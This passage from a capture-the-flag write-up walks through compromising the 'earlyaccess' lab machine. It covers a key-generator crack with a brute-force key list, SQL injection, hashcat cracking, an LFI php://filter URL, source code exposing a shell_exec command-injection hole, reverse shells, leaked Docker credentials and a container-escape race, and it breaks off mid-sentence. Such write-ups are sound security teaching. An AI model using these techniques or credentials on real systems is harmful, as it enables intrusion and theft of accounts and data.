sum([sum(bytearray(g.encode())) for g in gs]) print("cs_value: ", cs_value) ### g1 discovered by changing the first 3 characters untill the r value matched g1 = key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] print("r: ", r) if r != [221, 81, 145]: g1_valid = False for v in g1[3:]: try: int(v) except: g1_valid = False g1_valid = len(set(g1)) == len(g1) print("g1_valid: ", g1_valid) ### g2 discovered by putting p1 on 0 and shifting p2 until it matched g2 = key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] g2_valid = sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) print("g2_valid: ", g2_valid) # TODO: Add mechanism to sync magic_num with API g3 = key.split('-')[2] if g3[0:2] == magic_value: g3_valid = sum(bytearray(g3.encode())) == magic_num else: g3_valid = False print("g3_valid: ", g3_valid) ### Same approach as g1 try different values untill they matched print("g4: ", [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])]) g4_valid = [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])] == [12, 4, 20, 117, 0] print("g4_valid: ", g4_valid) ### The CS value is just a byte sum of the whole key so this has to be the last value to crack and is pretty easy because we can just print the real CS value and match it cs = int(key.split('-')[-1]) print("cs: ", cs) cs_valid = cs_value == cs print("cs_valid: ", cs_valid) def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True </code> </pre> <a href="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png" alt=""></a> <p>We cracked the code but the only thing that didn't work is part G3 because the magic number seems to be different on the server. When we try to validate it locally using the original validator script the key is valid. But maybe we can bruteforce this magic number using Burpsuite. There are only 60 possible combinations because the magic number is a sum of the last 3 characters, because the code said that the first two "XP" are static, And each character has a specific value. So I made a list.</p> <pre style="text-align: left"> <code class="prettyprint"> KEY01-0H0H0-XPAA0-GAME1-1295 KEY01-0H0H0-XPAB0-GAME1-1296 KEY01-0H0H0-XPAC0-GAME1-1297 KEY01-0H0H0-XPAD0-GAME1-1298 KEY01-0H0H0-XPAE0-GAME1-1299 KEY01-0H0H0-XPAF0-GAME1-1300 KEY01-0H0H0-XPAG0-GAME1-1301 KEY01-0H0H0-XPAH0-GAME1-1302 KEY01-0H0H0-XPAI0-GAME1-1303 KEY01-0H0H0-XPAJ0-GAME1-1304 KEY01-0H0H0-XPAK0-GAME1-1305 KEY01-0H0H0-XPAL0-GAME1-1306 KEY01-0H0H0-XPAM0-GAME1-1307 KEY01-0H0H0-XPAN0-GAME1-1308 KEY01-0H0H0-XPAO0-GAME1-1309 KEY01-0H0H0-XPAP0-GAME1-1310 KEY01-0H0H0-XPAQ0-GAME1-1311 KEY01-0H0H0-XPAR0-GAME1-1312 KEY01-0H0H0-XPAS0-GAME1-1313 KEY01-0H0H0-XPAT0-GAME1-1314 KEY01-0H0H0-XPAU0-GAME1-1315 KEY01-0H0H0-XPAV0-GAME1-1316 KEY01-0H0H0-XPAW0-GAME1-1317 KEY01-0H0H0-XPAX0-GAME1-1318 KEY01-0H0H0-XPAY0-GAME1-1319 KEY01-0H0H0-XPAZ0-GAME1-1320 KEY01-0H0H0-XPBZ0-GAME1-1321 KEY01-0H0H0-XPCZ0-GAME1-1322 KEY01-0H0H0-XPDZ0-GAME1-1323 KEY01-0H0H0-XPEZ0-GAME1-1324 KEY01-0H0H0-XPFZ0-GAME1-1325 KEY01-0H0H0-XPGZ0-GAME1-1326 KEY01-0H0H0-XPHZ0-GAME1-1327 KEY01-0H0H0-XPIZ0-GAME1-1328 KEY01-0H0H0-XPJZ0-GAME1-1329 KEY01-0H0H0-XPKZ0-GAME1-1330 KEY01-0H0H0-XPLZ0-GAME1-1331 KEY01-0H0H0-XPMZ0-GAME1-1332 KEY01-0H0H0-XPNZ0-GAME1-1333 KEY01-0H0H0-XPOZ0-GAME1-1334 KEY01-0H0H0-XPPZ0-GAME1-1335 KEY01-0H0H0-XPQZ0-GAME1-1336 KEY01-0H0H0-XPRZ0-GAME1-1337 KEY01-0H0H0-XPSZ0-GAME1-1338 KEY01-0H0H0-XPTZ0-GAME1-1339 KEY01-0H0H0-XPUZ0-GAME1-1340 KEY01-0H0H0-XPVZ0-GAME1-1341 KEY01-0H0H0-XPWZ0-GAME1-1342 KEY01-0H0H0-XPXZ0-GAME1-1343 KEY01-0H0H0-XPYZ0-GAME1-1344 KEY01-0H0H0-XPZZ0-GAME1-1345 KEY01-0H0H0-XPZZ1-GAME1-1346 KEY01-0H0H0-XPZZ2-GAME1-1347 KEY01-0H0H0-XPZZ3-GAME1-1348 KEY01-0H0H0-XPZZ4-GAME1-1349 KEY01-0H0H0-XPZZ5-GAME1-1350 KEY01-0H0H0-XPZZ6-GAME1-1351 KEY01-0H0H0-XPZZ7-GAME1-1352 KEY01-0H0H0-XPZZ8-GAME1-1353 KEY01-0H0H0-XPZZ9-GAME1-1354 </code> </pre> <p>First we need to intercept to post so we can copy it.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png" alt=""></a> <p>Now we can send it to the intruder to start brute-forcing this magic number.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png" alt=""></a> <p>I've added the payload which is the list of possible combinations we've just compiled. Now we need to add it into the POST.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png" alt=""></a> <p>Now let's start attacking!</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png" alt=""></a> <p>That didn't go as planned it looks like all the requests got redirected let's look at the settings if we can change anything.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png" alt=""></a> <p>Looks like Burpsuite just needed to be allowed to follow redirects. This is probably also the reason why our first GoBuster attempt failed.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png" alt=""></a> <p>Now to second attack is way more promising. One key stands out because the response length is different from the rest. Let's try that key and see what happens.</p> <a href="img/portfolio/minor/red/htb_linux/KeyValidationTest.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/KeyValidationTest.png" alt=""></a> <p>And it worked! Now lets go back to our normal user account and add this key to our account.</p> <a href="img/portfolio/minor/red/htb_linux/AddKeyToUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AddKeyToUser.png" alt=""></a> <p>Now we got the key added to our account we can take a look at that game subdomain we found earlier.</p> <a href="img/portfolio/minor/red/htb_linux/Scoreboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Scoreboard.png" alt=""></a> <p>Something I noticed instantly is the scoreboard that the SingleQuoteMan talked about on the forum. Maybe we can do the same trick with SQLI as we did with XSS at the beginning. We can do a simple SQLI test to find out if it's vulnerable.</p> <a href="img/portfolio/minor/red/htb_linux/VulnForSQLI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/VulnForSQLI.png" alt=""></a> <p>It is vulnerable but we didn't match the columns hence why it didn't show any output so lets try that again.</p> <a href="img/portfolio/minor/red/htb_linux/SQLVersion.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLVersion.png" alt=""></a> <p>Now look at that this should be easy. Lets try to enumerate the database tables.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIDBDump.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIDBDump.png" alt=""></a> <p>A user table? Very interesting lets see if it contains any passwords or usernames.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIUsers.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIUsers.png" alt=""></a> <p>And it does! Looks like we got an admin username and a password hash we need to crack. But first lets find out what type of hash it is.</p> <a href="img/portfolio/minor/red/htb_linux/HashIdentifier.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashIdentifier.png" alt=""></a> <p>Looks like it's a SHA1 hash lets see if Hashcat can find the password for us.</p> <code>hashcat -a 0 -m 100 adminhash.txt /usr/share/wordlists/rockyou.txt</code> <a href="img/portfolio/minor/red/htb_linux/Hashcat.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Hashcat.png" alt=""></a> <p>Yes it can! Now lets try to use these credentials to log into the dev subdomain.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png" alt=""></a> <p>Lets try to run Dirbuster one more time to see if it finds anything.</p> <a href="img/portfolio/minor/red/htb_linux/Dirbuster.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Dirbuster.png" alt=""></a> <p>Almost forgot we have to add the PHPSESSID from this admin to Dirbuster otherwise it won't have access to enumerate the site.</p> <a href="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png" alt=""></a> <p>Dirtbuster found a file called /actions/file.php which could be interesting. By the looks of it this is the file that is running on the homepage of this subdomain as well but there it said it didn't have a GUI yet. Maybe we can use it without GUI now we know the location of the file. But we need to know the command because now it gives us an error.</p> <a href="img/portfolio/minor/red/htb_linux/SpecifyFile.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SpecifyFile.png" alt=""></a> <p>Lets try some common command in this context like file, path and filepath. Hey! Filepath worked and now we can execute files and apparently also the hashingTool that is also on the homepage.</p> <a href="img/portfolio/minor/red/htb_linux/FileExecuted.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FileExecuted.png" alt=""></a> <p>Lets take a look at LFI (Local File Inclusion) and see if we can do something with that. I've found this <a href="https://medium.com/@nyomanpradipta120/local-file-inclusion-vulnerability-cfd9e62d12cb">website</a> that explains a LFI vulnerability we could try</p> <code>https://dev.earlyaccess.htb/actions/file.php?filepath=php://filter/convert.base64-encode/resource=/var/www/earlyaccess.htb/dev/actions/hash.php</code> <a href="img/portfolio/minor/red/htb_linux/HashBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashBase64.png" alt=""></a> <p>This gave us the base64 of the hash.php file if we can convert it back to code we might be able to find a vulnerability.</p> <a href="img/portfolio/minor/red/htb_linux/DecodedBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DecodedBase64.png" alt=""></a> <p>Using an online base64 decoder we managed to find the source code of the hash.php file.</p> <pre style="text-align: left"> <code class="prettyprint"> <?php include_once "../includes/session.php"; function hash_pw($hash_function, $password) { // DEVELOPER-NOTE: There has gotta be an easier way... ob_start(); // Use inputted hash_function to hash password $hash = @$hash_function($password); ob_end_clean(); return $hash; } try { if(isset($_REQUEST['action'])) { if($_REQUEST['action'] === "verify") { // VERIFIES $password AGAINST $hash if(isset($_REQUEST['hash_function']) && isset($_REQUEST['hash']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); $_SESSION['verify'] = ($hash === $_REQUEST['hash']); header('Location: /home.php?tool=hashing'); return; } } elseif($_REQUEST['action'] === "verify_file") { //TODO: IMPLEMENT FILE VERIFICATION } elseif($_REQUEST['action'] === "hash_file") { //TODO: IMPLEMENT FILE-HASHING } elseif($_REQUEST['action'] === "hash") { // HASHES $password USING $hash_function if(isset($_REQUEST['hash_function']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); if(!isset($_REQUEST['redirect'])) { echo "Result for Hash-function (" . $_REQUEST['hash_function'] . ") and password (" . $_REQUEST['password'] . "):<br>"; echo '<br>' . $hash; return; } else { $_SESSION['hash'] = $hash; header('Location: /home.php?tool=hashing'); return; } } } } // Action not set, ignore throw new Exception(""); } catch(Exception $ex) { if($ex->getMessage() !== "") $_SESSION['error'] = htmlentities($ex->getMessage()); header('Location: /home.php'); return; } ?> </code> </pre> <p>After analyzing the source code it looks like if you send the debug parameter as true and the hashing_function as shell_exec, you can run any shell command you want from the hashing tool. So lets try that.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png" alt=""></a> <p>Looks like it worked now lets try to get a reverse shell.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WWW-DataShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-DataShell.png" alt=""></a> <p>And we're in! I looked in the /etc/passwd and noticed another user named www-adm which looked like the next user I needed. After looking around for a bit and I couldn't find anything I thought what if they reused passwords?</p> <a href="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png" alt=""></a> <p>And they did so now we have www-adm shell. After looking around I noticed a .wgetrc file with some credentials in it. Because it looked like docker was running on the machine I thought http://api:5000/ was my best bet.</p> <a href="img/portfolio/minor/red/htb_linux/WGETAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETAPI.png" alt=""></a> <p>And it was! Apparently there is a check_db endpoint but it required credentials. So I tried to credentials we've just found.</p> <a href="img/portfolio/minor/red/htb_linux/CatCheckDB.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatCheckDB.png" alt=""></a> <p>Looks like JSON but we first need to prettify it to make it more readable.</p> <pre style="text-align: left"> <code class="prettyprint"> { "message":{ "AppArmorProfile":"docker-default", "Args":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Config":{ "AttachStderr":false, "AttachStdin":false, "AttachStdout":false, "Cmd":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Domainname":"", "Entrypoint":[ "docker-entrypoint.sh" ], "Env":[ "MYSQL_DATABASE=db", "MYSQL_USER=drew", "MYSQL_PASSWORD=drew", "MYSQL_ROOT_PASSWORD=XeoNu86JTznxMCQuGHrGutF3Csq5", "SERVICE_TAGS=dev", "SERVICE_NAME=mysql", "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "GOSU_VERSION=1.12", "MYSQL_MAJOR=8.0", "MYSQL_VERSION=8.0.25-1debian10" ], "ExposedPorts":{ "3306/tcp":{ }, "33060/tcp":{ } }, "Healthcheck":{ "Interval":5000000000, "Retries":3, "Test":[ "CMD-SHELL", "mysqladmin ping -h 127.0.0.1 --user=$MYSQL_USER -p$MYSQL_PASSWORD --silent" ], "Timeout":2000000000 }, "Hostname":"mysql", "Image":"mysql:latest", "Labels":{ "com.docker.compose.config-hash":"947cb358bc0bb20b87239b0dffe00fd463bd7e10355f6aac2ef1044d8a29e839", "com.docker.compose.container-number":"1", "com.docker.compose.oneoff":"False", "com.docker.compose.project":"app", "com.docker.compose.project.config_files":"docker-compose.yml", "com.docker.compose.project.working_dir":"/root/app", "com.docker.compose.service":"mysql", "com.docker.compose.version":"1.29.1" }, "OnBuild":null, "OpenStdin":false, "StdinOnce":false, "Tty":true, "User":"", "Volumes":{ "/docker-entrypoint-initdb.d":{ }, "/var/lib/mysql":{ } }, "WorkingDir":"" }, "Created":"2021-10-04T06:57:43.698655618Z", "Driver":"overlay2", "ExecIDs":null, "GraphDriver":{ "Data":{ "LowerDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d-init/diff:/var/lib/docker/overlay2/ecc064365b0367fc58ac796d9d5fe020d9453c68e2563f8f6d4682e38231083e/diff:/var/lib/docker/overlay2/4a21c5c296d0e6d06a3e44e3fa4817ab6f6f8c3612da6ba902dc28ffd749ec4d/diff:/var/lib/docker/overlay2/f0cdcc7bddc58609f75a98300c16282d8151ce18bd89c36be218c52468b3a643/diff:/var/lib/docker/overlay2/01e8af3c602aa396e4cb5af2ed211a6a3145337fa19b123f23e36b006d565fd0/diff:/var/lib/docker/overlay2/55b88ae64530676260fe91d4d3e6b0d763165505d3135a3495677cb10de74a66/diff:/var/lib/docker/overlay2/4064491ac251bcc0b677b0f76de7d5ecf0c17c7d64d7a18debe8b5a99e73e127/diff:/var/lib/docker/overlay2/a60c199d618b0f2001f106393236ba394d683a96003a4e35f58f8a7642dbad4f/diff:/var/lib/docker/overlay2/29b638dc55a69c49df41c3f2ec0f90cc584fac031378ae455ed1458a488ec48d/diff:/var/lib/docker/overlay2/ee59a9d7b93adc69453965d291e66c7d2b3e6402b2aef6e77d367da181b8912f/diff:/var/lib/docker/overlay2/4b5204c09ec7b0cbf22d409408529d79a6d6a472b3c4d40261aa8990ff7a2ea8/diff:/var/lib/docker/overlay2/8178a3527c2a805b3c2fe70e179797282bb426f3e73e8f4134bc2fa2f2c7aa22/diff:/var/lib/docker/overlay2/76b10989e43e43406fc4306e789802258e36323f7c2414e5e1242b6eab4bd3eb/diff", "MergedDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/merged", "UpperDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/diff", "WorkDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/work" }, "Name":"overlay2" }, "HostConfig":{ "AutoRemove":false, "Binds":[ "/root/app/scripts/init.d:/docker-entrypoint-initdb.d:ro", "app_vol_mysql:/var/lib/mysql:rw" ], "BlkioDeviceReadBps":null, "BlkioDeviceReadIOps":null, "BlkioDeviceWriteBps":null, "BlkioDeviceWriteIOps":null, "BlkioWeight":0, "BlkioWeightDevice":null, "CapAdd":[ "SYS_NICE" ], "CapDrop":null, "Cgroup":"", "CgroupParent":"", "CgroupnsMode":"host", "ConsoleSize":[ 0, 0 ], "ContainerIDFile":"", "CpuCount":0, "CpuPercent":0, "CpuPeriod":0, "CpuQuota":0, "CpuRealtimePeriod":0, "CpuRealtimeRuntime":0, "CpuShares":0, "CpusetCpus":"", "CpusetMems":"", "DeviceCgroupRules":null, "DeviceRequests":null, "Devices":null, "Dns":null, "DnsOptions":null, "DnsSearch":null, "ExtraHosts":null, "GroupAdd":null, "IOMaximumBandwidth":0, "IOMaximumIOps":0, "IpcMode":"private", "Isolation":"", "KernelMemory":0, "KernelMemoryTCP":0, "Links":null, "LogConfig":{ "Config":{ }, "Type":"json-file" }, "MaskedPaths":[ "/proc/asound", "/proc/acpi", "/proc/kcore", "/proc/keys", "/proc/latency_stats", "/proc/timer_list", "/proc/timer_stats", "/proc/sched_debug", "/proc/scsi", "/sys/firmware" ], "Memory":0, "MemoryReservation":0, "MemorySwap":0, "MemorySwappiness":null, "NanoCpus":0, "NetworkMode":"app_nw", "OomKillDisable":false, "OomScoreAdj":0, "PidMode":"", "PidsLimit":null, "PortBindings":{ }, "Privileged":false, "PublishAllPorts":false, "ReadonlyPaths":[ "/proc/bus", "/proc/fs", "/proc/irq", "/proc/sys", "/proc/sysrq-trigger" ], "ReadonlyRootfs":false, "RestartPolicy":{ "MaximumRetryCount":0, "Name":"always" }, "Runtime":"runc", "SecurityOpt":null, "ShmSize":67108864, "UTSMode":"", "Ulimits":null, "UsernsMode":"", "VolumeDriver":"", "VolumesFrom":[ ] }, "HostnamePath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hostname", "HostsPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hosts", "Id":"47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216", "Image":"sha256:5c62e459e087e3bd3d963092b58e50ae2af881076b43c29e38e2b5db253e0287", "LogPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216-json.log", "MountLabel":"", "Mounts":[ { "Destination":"/docker-entrypoint-initdb.d", "Mode":"ro", "Propagation":"rprivate", "RW":false, "Source":"/root/app/scripts/init.d", "Type":"bind" }, { "Destination":"/var/lib/mysql", "Driver":"local", "Mode":"rw", "Name":"app_vol_mysql", "Propagation":"", "RW":true, "Source":"/var/lib/docker/volumes/app_vol_mysql/_data", "Type":"volume" } ], "Name":"/mysql", "NetworkSettings":{ "Bridge":"", "EndpointID":"", "Gateway":"", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "HairpinMode":false, "IPAddress":"", "IPPrefixLen":0, "IPv6Gateway":"", "LinkLocalIPv6Address":"", "LinkLocalIPv6PrefixLen":0, "MacAddress":"", "Networks":{ "app_nw":{ "Aliases":[ "47c78eb0450f", "mysql" ], "DriverOpts":null, "EndpointID":"50037fb137fd880f88a9efd17eb8cf94bf8142ec263080b4c904afeeaa79aa2e", "Gateway":"172.18.0.1", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "IPAMConfig":{ "IPv4Address":"172.18.0.100" }, "IPAddress":"172.18.0.100", "IPPrefixLen":16, "IPv6Gateway":"", "Links":null, "MacAddress":"02:42:ac:12:00:64", "NetworkID":"021b24b8b3e1e3638463eeb7dc9af59c36cc412578cdf51931a24f04ea6f5532" } }, "Ports":{ "3306/tcp":null, "33060/tcp":null }, "SandboxID":"99cbb57fded2142e5dad46330b43249d2866f8514fb4342d06322f3e3b5c60f1", "SandboxKey":"/var/run/docker/netns/99cbb57fded2", "SecondaryIPAddresses":null, "SecondaryIPv6Addresses":null }, "Path":"docker-entrypoint.sh", "Platform":"linux", "ProcessLabel":"", "ResolvConfPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/resolv.conf", "RestartCount":0, "State":{ "Dead":false, "Error":"", "ExitCode":0, "FinishedAt":"0001-01-01T00:00:00Z", "Health":{ "FailingStreak":0, "Log":[ { "End":"2021-10-04T17:08:01.998027574+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:01.908189033+02:00" }, { "End":"2021-10-04T17:08:07.080804898+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:07.000613396+02:00" }, { "End":"2021-10-04T17:08:12.166584919+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:12.083845791+02:00" }, { "End":"2021-10-04T17:08:17.254375293+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:17.16894306+02:00" }, { "End":"2021-10-04T17:08:22.350400823+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:22.257747436+02:00" } ], "Status":"healthy" }, "OOMKilled":false, "Paused":false, "Pid":1108, "Restarting":false, "Running":true, "StartedAt":"2021-10-04T06:57:47.409835076Z", "Status":"running" } }, "status":200 } </code> </pre> <p>Looks like an username and some passwords lets try those with ssh.</p> <a href="img/portfolio/minor/red/htb_linux/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/UserFlag.png" alt=""></a> <p>We got the user flag! But now we need to find something to escalate our privileges. We could use LinPEAS to try and find something but we first have to get it on this machine.</p> <a href="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WGETLinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETLinpeas.png" alt=""></a> <p>I used SimpleHTTPServer to get LinPeas from my machine to the target machine because the target machine didn't have access to the internet. Now we need to run LinPEAS.</p> <a href="img/portfolio/minor/red/htb_linux/LinpeasMail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasMail.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png" alt=""></a> <p>Looks like LinPEAS found some interesting stuff like a mail message to Drew and the docker ip ranges and a docker folder that is edited regularly.</p> <a href="img/portfolio/minor/red/htb_linux/Mail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Mail.png" alt=""></a> <p>This probably means that the docker folder that gets edited regularly is the folder containing the game. And that some script is running that we could use.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>Looks like we got a public key as game-tester as well. Lets try to login into the docker ips using this public key.</p> <a href="img/portfolio/minor/red/htb_linux/Game-testerShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Game-testerShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png" alt=""></a> <p>And it worked now we got a shell as game-tester as well on a docker container. I noticed that the same docker folder on Drew also exists on the docker container and that they are shared. I also noticed that the docker folder get rewritten entirely so all files inside get removed and replaced before the server is restarted again. Lets see what the script does.</p> <a href="img/portfolio/minor/red/htb_linux/CatNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatNode-server.png" alt=""></a> <p>It runs in a folder called /usr/src/app which doesn't exist on the Drew user but it does on the game-tester container. So lets look at that as well.</p> <a href="img/portfolio/minor/red/htb_linux/CatServerJS.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatServerJS.png" alt=""></a> <p>Look like we can crash the server if we make a POST to autoplay with a decimal instead of an integer. But that doesn't get us anywhere we need to infect the node-server.sh first.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>I found this <a href="https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout">website</a> explaining priv esc with docker so I gave it a try. But I have to be faster than the server can create the node-server.sh in order to infect it. So I created a script.</p> <a href="img/portfolio/minor/red/htb_linux/RogueNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RogueNode-server.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/ExploitLoop.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitLoop.png" alt=""></a> <p>This should create a bash file in 